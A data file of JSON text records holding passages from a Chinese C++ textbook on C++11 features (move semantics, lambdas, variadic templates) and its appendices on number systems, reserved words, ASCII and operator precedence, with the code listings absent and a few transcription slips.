    {"text": "为此，可使用运算符static_cast<>将对象的类型强制转换为Useless &&，但C++11提供了一种更简单的方式—使用头文件utility中声明的函数std::move( )。"},
    {"text": "程序清单18.3 stdmove.cpp 该程序的输出如下： 正如您看到的，将one赋给three调用了复制赋值运算符，但将move(one)赋给four调用的是移动赋值运算符。"},
    {"text": "例如，假设Chunk是一个包含私有数据的类，而您编写了如下代码： 表达式std::move(one) 是右值，因此上述赋值语句将调用Chunk的移动赋值运算符—如果定义了这样的运算符。"},
    {"text": "对大多数程序员来说，右值引用带来的主要好处并非是让他们能够编写使用右值引用的代码，而是能够使用利用右值引用实现移动语义的库代码。"},
    {"text": "18.3 新的类功能 除本章前面提到的显式转换运算符和类内成员初始化外，C++11还新增了其他几个类功能。 18.3.1 特殊的成员函数 在原有4个特殊成员函数（默认构造函数、复制构造函数、复制赋值运算符和析构函数）的基础上，C++11新增了两个：移动构造函数和移动赋值运算符。"},
    {"text": "前面说过，在没有提供任何参数的情况下，将调用默认构造函数。 如果您没有给类定义任何构造函数，编译器将提供一个默认构造函数。 这种版本的默认构造函数被称为默认的默认构造函数。 对于使用内置类型的成员，默认的默认构造函数不对其进行初始化； 对于属于类对象的成员，则调用其默认构造函数。 另外，如果您没有提供复制构造函数，而代码又需要使用它，编译器将提供一个默认的复制构造函数； 如果您没有提供移动构造函数，而代码又需要使用它，编译器将提供一个默认的移动构造函数。 假定类名为Someclass，这两个默认的构造函数的原型如下： 在类似的情况下，编译器将提供默认的复制运算符和默认的移动运算符，它们的原型如下： 最后，如果您没有提供析构函数，编译器将提供一个。"},
    {"text": "如果您提供了析构函数、复制构造函数或复制赋值运算符，编译器将不会自动提供移动构造函数和移动赋值运算符； 如果您提供了移动构造函数或移动赋值运算符，编译器将不会自动提供复制构造函数和复制赋值运算符。"},
    {"text": "例如，您提供了移动构造函数，因此编译器不会自动创建默认的构造函数、复制构造函数和复制赋值构造函数。 在这些情况下，您可使用关键字default显式地声明这些方法的默认版本： 编译器将创建在您没有提供移动构造函数的情况下将自动提供的构造函数。"},
    {"text": "例如，要禁止复制对象，可禁用复制构造函数和复制赋值运算符： 第12章说过，要禁止复制，可将复制构造函数和赋值运算符放在类定义的private部分，但使用delete也能达到这个目的，且更不容易犯错、更容易理解。"},
    {"text": "例如，假设Someclass类有一个接受double参数的方法： 再假设有如下代码： int值5将被提升为5.0，进而执行方法redo( )。 现在假设将Someclass类的定义改成了下面这样： 在这种情况下，方法调用sc.redo(5)与原型redo(int) 匹配。"},
    {"text": "编译器检测到这一点以及redo(int) 被禁用后，将这种调用视为编译错误。 这说明了禁用函数的重要一点：它们只用于查找匹配函数，使用它们将导致编译错误。"},
    {"text": "委托使用成员初始化列表语法的变种： 例如，上述默认构造函数使用第一个构造函数初始化数据成员并执行其函数体，然后再执行自己的函数体。"},
    {"text": "这让派生类继承基类的所有构造函数（默认构造函数、复制构造函数和移动构造函数除外），但不会使用与派生类构造函数的特征标匹配的构造函数： 由于没有构造函数DR(int, double)，因此创建DR对象o3时，将使用继承而来的BS(int, double)。"},
    {"text": "如果还要初始化派生类成员，则应使用成员列表初始化语法： 18.3.5 管理虚方法：override和final 虚方法对实现多态类层次结构很重要，让基类引用或指针能够根据指向的对象类型调用相应的方法，但虚方法也带来了一些编程陷阱。"},
    {"text": "但正如第13章讨论的，如果特征标不匹配，将隐藏而不是覆盖旧版本： 由于类Bingo定义的是f(char * ch)而不是f(char ch)，将对Bingo对象隐藏f(char ch)，这导致程序不能使用类似于下面的代码： 在C++11中，可使用虚说明符override指出您要覆盖一个虚函数：将其放在参数列表后面。"},
    {"text": "您可能想禁止派生类覆盖特定的虚方法，为此可在参数列表后面加上final。 例如，下面的代码禁止Action的派生类重新定义函数f( )： 说明符override和final并非关键字，而是具有特殊含义的标识符。"},
    {"text": "18.4 Lambda函数 见到术语lambda函数（也叫lambda表达式，常简称为lambda）时，您可能怀疑C++11添加这项新功能旨在帮助编程新手。 看到下面的lambda函数示例后，您可能坚定了自己的怀疑： 但lambda函数并不像看起来那么晦涩难懂，它们提供了一种有用的服务，对使用函数谓词的STL算法来说尤其如此。 18.4.1 比较函数指针、函数符和Lambda函数 来看一个示例，它使用三种方法给STL算法传递信息：函数指针、函数符和lambda。"},
    {"text": "一种方案是，使用vector<int>存储数字，并使用STL算法generate( ) 在其中填充随机数： 函数generate( )接受一个区间（由前两个参数指定），并将每个元素设置为第三个参数返回的值，而第三个参数是一个不接受任何参数的函数对象。"},
    {"text": "为判断元素能否被3整除，可使用下面的函数定义： 同样，为判断元素能否被13整除，可使用下面的函数定义： 定义上述函数后，便可计算复合条件的元素数了，如下所示： 下面复习一下如何使用函数符来完成这个任务。"},
    {"text": "因为可使用构造函数创建存储特定整数值的f_mod对象： 而这个对象可使用方法operator( )来返回一个bool值： 构造函数本身可用作诸如count_if( )等函数的参数： 参数f_mod(3)创建一个对象，它存储了值3；"},
    {"text": "在C++11中，对于接受函数指针或函数符的函数，可使用匿名函数定义（lambda）作为其参数。 与前述函数f3( )对应的lambda如下： 这与f3( )的函数定义很像： 差别有两个：使用[]替代了函数名（这就是匿名的由来）；"},
    {"text": "函数和lambda的简洁程度相当，一个显而易见的例外是，需要使用同一个lambda两次： 但并非必须编写lambda两次，而可给lambda指定一个名称，并使用该名称两次： 您甚至可以像使用常规函数那样使用有名称的lambda： 然而，不同于常规函数，可在函数内部定义有名称的lambda。"},
    {"text": "如果只指定了变量名，如[z]，将按值访问变量； 如果在名称前加上&，如[&count]，将按引用访问变量。 [&]让您能够按引用访问所有动态变量，而[=]让您能够按值访问所有动态变量。 还可混合使用这两种方式，例如，[ted, &ed]让您能够按值访问ted以及按引用访问ed，[&, ted]让您能够按值访问ted以及按引用访问其他所有动态变量，[=, &ed]让您能够按引用访问ed以及按值访问其他所有动态变量。"},
    {"text": "因此，for_each( )将lambda应用于numbers的每个元素后，count13将为能被13整除的元素数。 通过利用这种技术，可使用一个lambda表达式计算可被3整除的元素数和可被13整除的元素数： 在这里，[&]让您能够在lambad表达式中使用所有的自动变量，包括count3和count13。"},
    {"text": "下一个调用如下： 第二个参数的类型也是double(*) (double)，因此该调用使用的use_f( )实例化与第一个调用相同。 在接下来的两个use_f( )调用中，第二个参数为对象，F的类型分别为Fp和Fq，因为将为这些F值实例化use_f( )模板两次。"},
    {"text": "例如，下面的声明创建一个名为fdci的function对象，它接受一个char参数和一个int参数，并返回一个double值： 然后，可以将接受一个char参数和一个int参数，并返回一个double值的任何函数指针、函数对象或lambda表达式赋给它。"},
    {"text": "首先，在程序清单18.8中，不用声明6个function<double (double)>对象，而只使用一个临时function<double (double)>对象，将其用作函数use_f( )的参数： 其次，程序清单18.8让use_f( )的第二个实参与形参f匹配，但另一种方法是让形参f的类型与原始实参匹配。 为此，可在模板use_f( )的定义中，将第二个参数声明为function包装器对象，如下所示： 这样函数调用将如下： 参数dub、Fp(5.0)等本身的类型并不是function<double(double)>，因此在use_f后面使用了<double>来指出所需的具体化。"},
    {"text": "18.6 可变参数模板 可变参数模板（variadic template）让您能够创建这样的模板函数和模板类，即可接受可变数量的参数。 这里介绍可变参数模板函数。"},
    {"text": "请看下面的代码： 这里的目标是，定义show_list( )，让上述代码能够通过编译并生成如下输出： 要创建可变参数模板，需要理解几个要点： 模板参数包（parameter pack）；"},
    {"text": "18.6.1 模板和函数参数包 为理解参数包的工作原理，首先来看一个简单的模板函数，它显示一个只有一项的列表： 在上述定义中，有两个参数列表。"},
    {"text": "下面的函数调用将模板参数列表中的T设置为double，将函数参数列表中的value设置为2.15： C++11提供了一个用省略号表示的元运算符（meta-operator），让您能够声明表示模板参数包的标识符，模板参数包基本上是一个类型列表。"},
    {"text": "请看下面的函数调用： 在这种情况下，参数包Args包含与函数调用中的参数匹配的类型：char、int、const char *和double。 下面的代码指出value的类型为T： 同样，下面的代码指出args的类型为Args： 更准确地说，这意味着函数参数包args包含的值列表与模板参数包Args包含的类型列表匹配—无论是类型还是数量。"},
    {"text": "这样，可变参数模板show_list1( )与下面的函数调用都匹配： 就最后一个函数调用而言，模板参数包Args包含类型int、int、int、int、const char *和std::string，而函数参数包args包含值2、4、6、8、“who do we”和std::string(“appreciate”)。"},
    {"text": "假设有如下函数调用： 这将把5、‘L’和0.5封装到args中。 在该函数内部，下面的调用： 将展开成如下所示： 也就是说，args被替换为三给存储在args中的值。 因此，表示法args...展开为一个函数参数列表。"},
    {"text": "18.6.3 在可变参数模板函数中使用递归 虽然前面的递归让show_list1( )成为有用函数的希望破灭，但正确使用递归为访问参数包的内容提供了解决方案。"},
    {"text": "为此，可添加一个处理一项的模板，并让其行为与通用模板稍有不同： 这样，当args包缩短到只有一项时，将调用这个版本，而它打印换行符而不是逗号。"},
    {"text": "因此，装备了双核、四核处理器甚至多个多核处理器的计算机很常见，这让计算机能够同时执行多个线程，其中一个处理器可能处理视频下载，而另一个处理器处理电子表格。"},
    {"text": "库支持由原子操作（atomic operation）库和线程支持库组成，其中原子操作库提供了头文件atomic，而线程支持库提供了头文件thread、mutex、condition_variable和future。"},
    {"text": "例如，方括号表达式与方括号中的任何单个字符匹配，因此[cCkK]与c、C、k和K都匹配，而[cCkK] at与单词cat、Cat、kat和Kat都匹配。"},
    {"text": "在C++中，斜杠具有特殊含义，因此对于模式\\d\\t\\w\\d（即依次为一位数字、制表符、单词和一位数字），必须写成字符字面量“\\d\\t\\w\\d”，即使用\\表示\\。"},
    {"text": "constexpr机制让编译器能够在编译阶段计算结果为常量的表达式，让const变量可存储在只读内存中，这对嵌入式编程来说很有用（在运行阶段初始化的变量存储在随机访问内存中）。"},
    {"text": "C++的使用范围足够广后，显然需要国际标准，并将其控制权交给标准委员会：最初是ANSI委员会，随后是ISO/ANSI联合委员会，当前是ISO/IEC JTC1/SC22/WG21（C++标准委员会）。 ISO是国际标准组织，IEC是国际电子技术委员会，JEC1是前两家组织组建的联合技术委员会1，SC22是JTC1下属的编程语言委员会，而WG21是SC22下属的C++工作小组。"},
    {"text": "18.8.1 Boost项目 最近，Boost库成了C++编程的重要部分，给C++11带来了深远影响。 Boost项目发起于1998年，当时的C++库工作小组主席Beman Dawes召集其他几位小组成员制定了一项计划，准备在标准委员会的框架外创建新库。"},
    {"text": "18.8.2 TR1 TR1（Technical Report 1）是C++标准委员会的部分成员发起的一个项目，它是一个库扩展选集，这些扩展与C++98标准兼容，但不是必不可少的。"},
    {"text": "另外，Boost社区和TR1用户的经验也导致了实际的语言变更，如异常规范的摒弃和可变参数模板的添加，其中可变参数模板让tuple模板类和function模板的实现更好了。"},
    {"text": "例如，Conversion库中的lexical_cast让您能够在数值和字符串类型之间进行简单地转换，其语法类似于dynamic_cast：将模板参数指定为目标类型。"},
    {"text": "程序清单18.11 lexcast.cpp 下面是两次运行该程序的情况： 第二次运行的结果凸显了lexical_cast的局限性：它未能很好地控制浮点数的格式。"},
    {"text": "在这方面，最新的工具是统一建模语言（Unified Modeling Language，UML），它不是一种编程语言，而是一种用于表示编程项目的分析和设计语言，是由Grady Booch、Jim Rumbaugh和Ivar Jacobson开发的，他们分别是更早的3种建模语言（Booch Method、OMT（对象建模技术，Object Modeling Technique）和OOSE（面向对象的软件工程，Object-Oriented Software Engineering））的主要开发人员。"},
    {"text": "有些旨在让C++更容易学习和使用，这包括用大括号括起的统一的列表初始化、使用auto自动推断类型、类内成员初始化以及基于范围的for循环；"},
    {"text": "而有些旨在增强类设计以及使其更容易理解，这包括默认的和禁用的方法、委托构造函数、继承构造函数以及让虚函数设计更清晰的说明符override和final。"},
    {"text": "lambda表达式比函数指针和函数符更好，模板function可用于减少模板实例数量，右值引用让您能够使用移动语义以及实现移动构造函数和移动赋值运算符。"},
    {"text": "3．编写并测试可变参数模板函数sum_value( )，它接受任意长度的参数列表（其中包含数值，但可以是任何类型），并以long double的方式返回这些数值的和。"},
    {"text": "附录A 计数系统 人们使用很多计数系统来表示数字。有些计数系统（如罗马数字）不适合用于算术运算；而印度计数系统经过改进，并传入到欧洲后变成了阿拉伯计数系统，这种数字方便了数学、科学和商业计算。现代的计算机计数系统是基于占位符概念的，使用了最先出现在印度计数系统中的零。然而，这种原理被推广到其他计数系统。因此，虽然在日常生活中使用的是下一节将介绍的十进制，但计算领域通常使用八进制、十六进制和二进制。 A.1 十进制数 数字的书写方式是基于10的幂数。例如，对于数字2468，2表示2个1000，4表示4个100，6表示6个10，8表示8个1。 2468 = 2 × 1000 + 4 × 100 + 6 × 10 + 8 × 1 一千是10 × 10 × 10或10的3次幂，用10 3 表示。使用这种表示法，可以这样书写上述关系： 2468 = 2 × 10 3 + 4 × 10 2 + 6 × 10 1 + 8 × 10 0 因为这种数字表示法是基于10的幂，所以将它称作基数为10的表示法或十进制表示法。可以用任何数作基数。例如，C++允许使用基数8（八进制）和基数16（十六进制）来书写整数（请注意，10 0 为1，任何非零数的0次幂都为1）。 A.2 八进制整数 八进制数是基于8的幂的，所以基数为8的表示法用数字0-7来书写数字。C++用前缀0来表示八进制表示法。也就是说，0177是一个八进制值。可以用8的幂来找到对应的十进制值： 八 进 制 十 进 制 177 = 1 × 8 2 + 7 × 8 1 + 7 × 8 0 = 1 × 64 + 7 × 8 + 7 × 1 = 127 由于UNIX操作系统常使用八进制来表示值，因此C++和C提供了八进制表示法。 A.3 十六进制数 十六进制数是基于16的幂的。这意味着十六进制的10表示16 + 0，即16。为表示9-16值，需要其他一些数字，标准的十六进制表示法使用字母a-f。C++接受这些字符的大写和小写版本，如表A.1所示。 表A.1 十六进制数 十六进制数 十 进 制 值 a或A 10 b或B 11 c或C 12 d或D 13 e或E 14 f或F 15 C++使用0x或0X来指示十六进制表示法。因此0x2B3是一个十六进制值，可使用16的幂来得到对应的十进制值。 十六进制 十 进 制 0x2B3 = 2 × 16 2 + 11 × 16 1 + 3 × 16 0 = 2 × 256 + 11 × 16 + 3 × 1 = 691 硬件文档常使用十六进制来表示诸如内存单元和端口号等值。 A.4 二进制数 不管是使用十进制、八进制，还是十六进制表示法来书写整数，计算机都将它存储为二进制值（即基数为2）。二进制表示法只使用两个数字——0和1。例如，10011011就是二进制数。但C++没有提供二进制表示法来书写数字的方式。二进制数是基于2的幂。 二 进 制 十 进 制 10011011 = 1 × 2 7 + 0 × 2 6 + 0 × 2 5 + 1 × 2 4 + 1 × 2 3 + 0 × 2 2 + 1 × 2 1 + 1 × 2 0 = 128 + 0 + 0 + 16 + 8 + 0 + 2 + 1 = 155 二进制表示法与计算机内存完全对应，在内存中，每个单元（位）都可以设置成开或关。只是将关表示为0，将开表示为1。内存通常是以字节为单位组织的，每个字节包含8位（正如第2章指出的，C++字节并非一定是8位，但本附录采用常见的做法，用字节表示八位组）。字节中的位被编号，对应于相关的2的幂。这样，最右侧的位编号为0，然后是1，依此类推。例如，图A.1表示一个2字节的整数。 图A.1 2字节整数值 A.5 二进制和十六进制 十六进制表示法常用于提供更为方便的二进制数据（如内存地址或存储位标记设置的整数）视图。这样做的原因是，每个十六进制位对应于4位。表A.2说明了这种对应关系。 表A.2 十六进制数和对应的二进制数 十六进制位 对应的二进制数 0 0000 1 0001 2 0010 3 0011 4 0100 5 0101 6 0110 7 0111 8 1000 9 1001 A 1010 B 1011 C 1100 D 1101 E 1110 F 1111 要将十六进制值转换为二进制，只需将每个十六进制位替换为相应的二进制数即可。例如，十六进制0xA4对应于二进制数10100100。同样，可以轻松地将二进制值转换为十六进制，方法是将每4位转换为对应的十六进制位。例如，二进制值10010101将被转换为0x95。 Big Endian和Little Endian 奇怪的是，都使用整数的二进制表示的两个计算平台对同一个值的表示可能并不相同。例如，Intel计算机使用Little Endian体系结构来存储字节，而Motorola处理器、IBM大型机、SPARC处理器和ARM处理器使用Big Endian方案（但最后的两种系统可配置成使用上述任何一种方案）。 术语Big Endian和Little Endian是从“Big End In”和“Little End In”（指内存中单词（通常为两个字节）的字节顺序）衍生而来的。在Intel计算机（Little Endian）中，先存储低位字节，这意味着十六进制值0xABCD在内存中将被存储为0xCD 0xAB。Motorola（Big Endian）计算机按相反的顺序存储，因此0xABCD在内存中被存储为0xAB 0xCD。 这些术语最先出现在Jonathan Swift编写的《Gulliver’s Travels》一书中。为讽刺众多政治斗争的非理性，Swift杜撰了假想国中两个喜欢争论的政治派别：Big Endians和Little Endians，前者坚持认为从大的一头打破鸡蛋更合理，而后者坚持认为从小的一头打破鸡蛋更合理。 作为软件工程师，应了解目标平台的词序，它会影响对通过网络传输的数据的解释方式以及数据在二进制文件中的存储方式。在上面的例子中，二字节内存模式0xABCD在Little Endian计算机上表示十进制值52651，而在Big Endian计算机上表示十进制值43981。"},
    {"text": "附录B C++保留字 C++保留了一些单词供自己和C++库使用。程序员不应将保留字用作声明中的标识符。保留字分三类：关键字、替代标记（alternative token）和C++库保留名称。 B.1 C++关键字 关键字是组成编程语言词汇表的标识符，它们不能用于其他用途，如用作变量名。表B.1列出了C++关键字，其中以粗体显示的关键字也是ANSI C99标准中的关键字，而以斜体显示的关键字是C++11新增的。 表B.1 C++关键字 alignas alignof asm auto bool break case catch char char16_t char32_t class const const_cast constexpr continue decltype default delete do double dynamic_cast else enum explicit export extern false float for friend goto if inline int long mutable namespace new noexcept nullptr operator private protected public register reinterpret_cast return short signed sizeof static static_assert static_cast struct switch template this thread_local throw true try typedef typeid typename union unsigned using virtual void volatile wchar_t while B.2 替代标记 除关键字外，C++还有一些运算符的字母替代表示，它们被称为替代标记。替代标记也被保留，表B.2列出了替代标记及其表示的运算符。 表B.2 C++保留的替代标记及其含义 标 记 含 义 and && and_eq &= bitand & bitor ｜ compl ~ not ! not_eq != or ‖ or_eq ｜= xor ^ xor_eq ^= B.3 C++库保留名称 编译器不允许程序员将关键字和替代标记用作名称。还有另一类禁止使用（但并非绝对不能用）的名称—保留名称，它们是保留给C++库使用的名称。如果您将这种名称用作标识符，后果将是不确定的。也就是说，可能导致编译器错误、警告、程序不能正确运行或根本不会导致任何问题。 C++语言保留了库头文件中使用的宏名。如果程序包含某个头文件，则不应将该头文件（以及该头文件包含的头文件，依此类推）中定义的宏名用作其他目的。例如，如果您直接或间接地包含了头文件<climits>，则不应将CHAR_BIT用作标识符，因为它已被用作该头文件中一个宏的名称。 C++语言保留了以两个下划线或下划线和大写字母打头的名称，还将以单个下划线打头的名称保留用作全局变量。因此，程序员不能在全局名称空间使用诸如 gink、 Lynx和_lynx等名称。 C++语言保留了在库头文件中被声明为链接性为外部的名称。对于函数，这包括函数的特征标（名称和参数列表）。例如，假设有如下代码： 则函数特征标tan（double）被保留。这意味着您的程序不应声明一个原型如下所示的函数： 该原型确实与库函数tan( ) 的原型不同，因为后者的返回类型为double，但特征标部分确实相同。然而，定义下面的原型是可以的： 这是因为虽然其名称与库函数tan( )相同，但特征标不同。 B.4 有特殊含义的标识符 C++社区讨厌新增关键字，因为它们可能与现有代码发生冲突。这就是标准委员会改变关键字auto的用法，并赋予其他关键字（如virtual和delete）新用法的原因所在。C++11提供了另一种避免新增关键字的机制，即使用具有特殊含义的标识符。这些标识符不是关键字，但用于实现语言功能。编译器根据上下文来判断它们是常规标识符还是用于实现语言功能： 在上述代码中，语句#1中的final是一个常规标识符，而语句#2中的final使用了一种语言功能。这两种用法彼此不会冲突。 另外，C++还有很多经常出现在程序中，但不被保留的标识符。这包括头文件名、库函数名和main（必不可少的函数的名称，程序从该函数开始执行）。只要不发生名称空间冲突，就可将这些标识符用于其他目的，但没有理由这样做。也就是说，完全可以编写下面的代码，但常识告诉您不应这样做："},
    {"text": "附录C ASCII字符集 计算机使用数字代码来存储字符。ASCII码是美国最常用的编码，它是Unicode的一个子集（一个非常小的子集）。C++使得能够直接表示大多数字符，方法是将字符用单引号括起，例如‘A’表示字符A。也可以用前面带反斜杠的八进制或十六进制编码来表示单个字符，例如，‘\\012’和‘\\0xa’表示的都是换行符（LF）。这种转义序列还可放在字符串中，如“Hello, \\012my dear”。 表C.1列出了以各种方式表示的ASCII字符集。在该表中，当被用作前缀时，^字符表示使用Ctrl键。 表C.1 ASCⅡ字符集 十 进 制 八 进 制 十 六 进 制 二 进 制 字 符 ASCII名称 0 0 0 00000000 ^@ NUL 1 01 0x1 00000001 ^A SOH 2 02 0x2 00000010 ^B STX 3 03 0x3 00000011 ^C ETX 4 04 0x4 00000100 ^D EOT 5 05 0x5 00000101 ^E ENQ 6 06 0x6 00000110 ^F ACK 7 07 0x7 00000111 ^G BEL 8 010 0x8 00001000 ^H BS 9 011 0x9 00001001 ^I，tab HT 10 012 0xa 00001010 ^J LF 11 013 0xb 00001011 ^K VT 12 014 0xc 00001100 ^L FF 13 015 0xd 00001101 ^M CR 14 016 0xe 00001110 ^N SO 15 017 0xf 00001111 ^O SI 16 020 0x10 00010000 ^P DLE 17 021 0x11 00010001 ^Q DC1 18 022 0x12 00010010 ^R DC2 19 023 0x13 00010011 ^S DC3 20 024 0x14 00010100 ^T DC4 21 025 0x15 00010101 ^U NAK 22 026 0x16 00010110 ^V SYN 23 027 0x17 00010111 ^W ETB 24 030 0x18 00011000 ^X CAN 25 031 0x19 00011001 ^Y EM 26 032 0x1a 00011010 ^Z SUB 27 033 0x1b 00011011 ^[，Esc ESC 28 034 0x1c 00011100 ^\\ FS 29 035 0x1d 00011101 ^] GS 30 036 0x1e 00011110 ^^ RS 31 037 0x1f 00011111 ^_ US 32 040 0x20 00100000 空格 SP 33 041 0x21 00100001 ! 34 042 0x22 00100010 ” 35 043 0x23 00100011 # 36 044 0x24 00100100 $ 37 045 0x25 00100101 % 38 046 0x26 00100110 & 39 047 0x27 00100111 ' 40 050 0x28 00101000 （ 41 051 0x29 00101001 ） 42 052 0x2a 00101010 * 43 053 0x2b 00101011 + 44 054 0x2c 00101100 ' 45 055 0x2d 00101101 - 46 056 0x2e 00101110 . 47 057 0x2f 00101111 / 48 060 0x30 00110000 0 49 061 0x31 00110001 1 50 062 0x32 00110010 2 51 063 0x33 00110011 3 52 064 0x34 00110100 4 53 065 0x35 00110101 5 54 066 0x36 00110110 6 55 067 0x37 00110111 7 56 070 0x38 00111000 8 57 071 0x39 00111001 9 58 072 0x3a 00111010 ： 59 073 0x3b 00111011 ； 60 074 0x3c 00111100 < 61 075 0x3d 00111101 = 62 076 0x3e 00111110 > 63 077 0x3f 00111111 ? 64 0100 0x40 01000000 @ 65 0101 0x41 01000001 A 66 0102 0x42 01000010 B 67 0103 0x43 01000011 C 68 0104 0x44 01000100 D 69 0105 0x45 01000101 E 70 0106 0x46 01000110 F 71 0107 0x47 01000111 G 72 0110 0x48 01001000 H 73 0111 0x49 01001001 I 74 0112 0x4a 01001010 J 75 0113 0x4b 01001011 K 76 0114 0x4c 01001100 L 77 0115 0x4d 01001101 M 78 0116 0x4e 01001110 N 79 0117 0x4f 01001111 O 80 0120 0x50 01010000 P 81 0121 0x51 01010001 Q 82 0122 0x52 01010010 R 83 0123 0x53 01010011 S 84 0124 0x54 01010100 T 85 0125 0x55 01010101 U 86 0126 0x56 01010110 V 87 0127 0x57 01010111 W 88 0130 0x58 01011000 X 89 0131 0x59 01011001 Y 90 0132 0x5a 01011010 Z 91 0133 0x5b 01011011 [ 92 0134 0x5c 01011100 \\ 93 0135 0x5d 01011101 ] 94 0136 0x5e 01011110 ^ 95 0137 0x5f 01011111 - 96 0140 0x60 01100000 ' 97 0141 0x61 01100001 a 98 0142 0x62 01100010 b 99 0143 0x63 01100011 c 100 0144 0x64 01100100 d 101 0145 0x65 01100101 e 102 0146 0x66 01100110 f 103 0147 0x67 01100111 g 104 0150 0x68 01101000 h 105 0151 0x69 01101001 i 106 0152 0x6a 01101010 j 107 0153 0x6b 01101011 k 108 0154 0x6c 01101100 l 109 0155 0x6d 01101101 m 110 0156 0x6e 01101110 n 111 0157 0x6f 01101111 o 112 0160 0x70 01110000 p 113 0161 0x71 01110001 q 114 0162 0x72 01110010 r 115 0163 0x73 01110011 s 116 0164 0x74 01110100 t 117 0165 0x75 01110101 u 118 0166 0x76 01110110 v 119 0167 0x77 01110111 w 120 0170 0x78 01111000 x 121 0171 0x79 01111001 y 122 0172 0x7a 01111010 z 123 0173 0x7b 01111011 { 124 0174 0x7c 01111100 ｜ 125 0175 0x7d 01111101 } 126 0176 0x7e 01111110 ~ 127 0177 0x7f 01111111 Del"},
    {"text": "附录D 运算符优先级 运算符优先级决定了运算符用于值的顺序。C++运算符分为18个优先级组，如表D.1所示。第1组中的运算符的优先级最高，第2组中运算符的优先级次之，依此类推。如果两个运算符被用于同一个操作数，则首先应用优先级高的运算符。如果两个运算符的优先级相同，则C++使用结合性规则来决定哪个运算符结合得更为紧密。同一组中运算符的优先级和结合性相同，不管是从左到右（表中L-R）还是从右到左（表中R-L）结合。从左到右的结合性意味着首先应用最左边的运算符，而从右到左的结合性则意味着首先应用最右边的运算符。 表D.1 C++运算符的优先级和结合性 运 算 符 结 合 性 含 义 优先级第1组 :: 作用域解析运算符 优先级第2组 （表达式） 分组 () L-R 函数调用 () 值构造，即type(expr) [ ] 数组下标 -> 间接成员运算符 . 直接成员运算符 const_cast 专用的类型转换 dynamic_cast 专用的类型转换 reinterpret_cast 专用的类型转换 static_cast 专用的类型转换 typeid 类型标识 ++ 加1运算符，后缀 - - 减1运算符，后缀 优先级第3组（全是一元运算符） ! R-L 逻辑非 ~ 位非 + 一元加号（正号） - 一元减号（负号） ++ 加1运算符，前缀 - - 减1运算符，前缀 & 地址 * 解除引用（间接值） () 类型转换，即(type)expr sizeof 长度，以字节为单位 new 动态分配内存 new [ ] 动态分配数组 delete 动态释放内存 delete [ ] 动态释放数组 优先级第4组 . * L-R 成员解除引用 ->* 间接成员解除引用 优先级第5组（全是二元运算符） * L-R 乘 / 除 ^ 模（余数） 优先级第6组（全是二元运算符） + L-R 加 - 减 优先级第7组 << L-R 左移 >> 右移 优先级第8组 < L-R 小于 <= 小于或等于 >= 大于或等于 > 大于 优先级第9组 = = L-R 等于 != 不等于 优先级第10组（一元运算符） & L-R 按位AND 优先级第11组 ^ L-R 按位XOF（异或） 优先级第12组 | L-R 按位OR 优先级第13组 && L-R 逻辑AND 优先级第14组 | | L-R 逻辑OR 优先级第15组 :? R-L 条件 优先级第16组 = R-L 简单赋值 * = 乘并赋值 /= 除并赋值 %= 求模并赋值 += 加并赋值 -= 减并赋值 &= 按位AND并赋值 ^= 按位XOR并赋值 |= 按位OR并赋值 <<= 左移并赋值 >>= 右移并赋值 优先级第17组 throw L-R 引发异常 优先级第18组 , L-R 将两个表达式合并成一个 有些符号（如*或&）被用作多个运算符。在这种情况下，一种形式是一元（一个操作数），另一种形式是二元（两个操作数），编译器将根据上下文来确定使用哪种形式。对于同一个符号可以两种方式使用的情况，表D.1将运算符标记为一元组或二元组。 下面介绍一些优先级和结合性的例子。 对于下面的例子，编译器必须决定先将5和3相加，还是先将5和6相乘： *运算符的优先级比+运算符高，所以它被首先用于5，因此表达式变成3 +30，即33。 对于下面的例子，编译器必须决定先将120除以6，还是先将6和5相乘： /和 的优先级相同，但这些运算符从左到右结合的。这意味着首先应用操作数（6）左侧的运算符，因此表达式变为20 5，即100。 对于下面的例子，编译器必须决定先对str递增还是先对str解除引用： 后缀++运算符的优先级比一元运算符 高，这意味着加号运算符将对str进行操作，而不是对 str进行操作。也就是说，将指针加1，使之指向下一个字符，而不是修改被指针指向的字符。不过，由于++是后缀形式，因此将在将*str的值赋给ch后，再将指针加1。因此，上述表达式将字符W赋给ch，然后移动指针str，使之指向字符h。 下面是一个类似的例子： 前缀++运算符和一元运算符 的优先级相同，但它们是从右到左结合的。因此，str（不是 str）将被加1。因为++运算符是前缀形式，所以首先将str加1，然后将得到的指针执行解除引用的操作。因此，str将指向字符h，并将字符h赋给ch。 注意，表D.1在“优先级”行中使用一元或二元来区分使用同一个符号的两个运算符，如一元地址运算符和二元按位AND运算符。 附录B列出了一些运算符的替代表示。"},
    {"text": "例如，左移运算符将位向左移，按位非运算符将所有的1变成0，所有的0变成1，C++共有6个这样的运算符：<<、>>、~、&、|和^。 E.1.1 移位运算符 左移运算符的语法如下： 其中，value是要被操作的整数值，shift是要移动的位数。"},
    {"text": "图E.1 左移运算符 左移运算符提供了通常可以在汇编语言中找到的功能。 不过，左移运算符在汇编语言中会直接修改寄存器的内容，而C++左移运算符生成一个新值，而不修改原来的值。"},
    {"text": "可以使用常规的赋值运算符或<<=运算符（该运算符将移动与赋值结合在一起）： 正如所期望的，右移运算符（>>）将位向右移，其语法如下： 其中，value是要移动的整数值，shift是要移动的位数。"},
    {"text": "例如，下面的代码将值17中所有的位向右移两位： 对于无符号整数，腾出的位置用0填充，超过边界的位被删除。 对于有符号整数，腾出的位置可能用0填充，也可能用原来最左边的位填充，这取决于C++实现（图E.2是一个用0填充的例子）。"},
    {"text": "C++还定义了一个“右移并赋值”运算符，如果要用移动后的值替换变量的值，可以这样做： 在有些系统上，使用左移运算符（右移运算符）实现将整数乘（除）以2的速度比使用乘（除）法运算符更快，但由于编译器在优化代码方面越来越好，因此这种差异正在减小。"},
    {"text": "表E.1 b1|b2的值 位 值 b1 = 0 b1 = 1 b2 = 0 0 1 b2 = 1 1 1 运算符| =组合了按位运算符OR与赋值运算符的功能： 按位运算符XOR（^）将两个整数值结合起来，生成一个新的整数值。"},
    {"text": "图E.5 按位运算符XOR 表E.2总结了^运算符的结合方式。 表E.2 b1^b2的值 位 值 b1 = 0 b1 = 1 b2 = 0 0 1 b2 = 1 1 0 ^ =运算符结合了按位运算符XOR和赋值运算符的功能： 按位运算符AND（&）将两个整数结合起来，生成一个新的整数值。"},
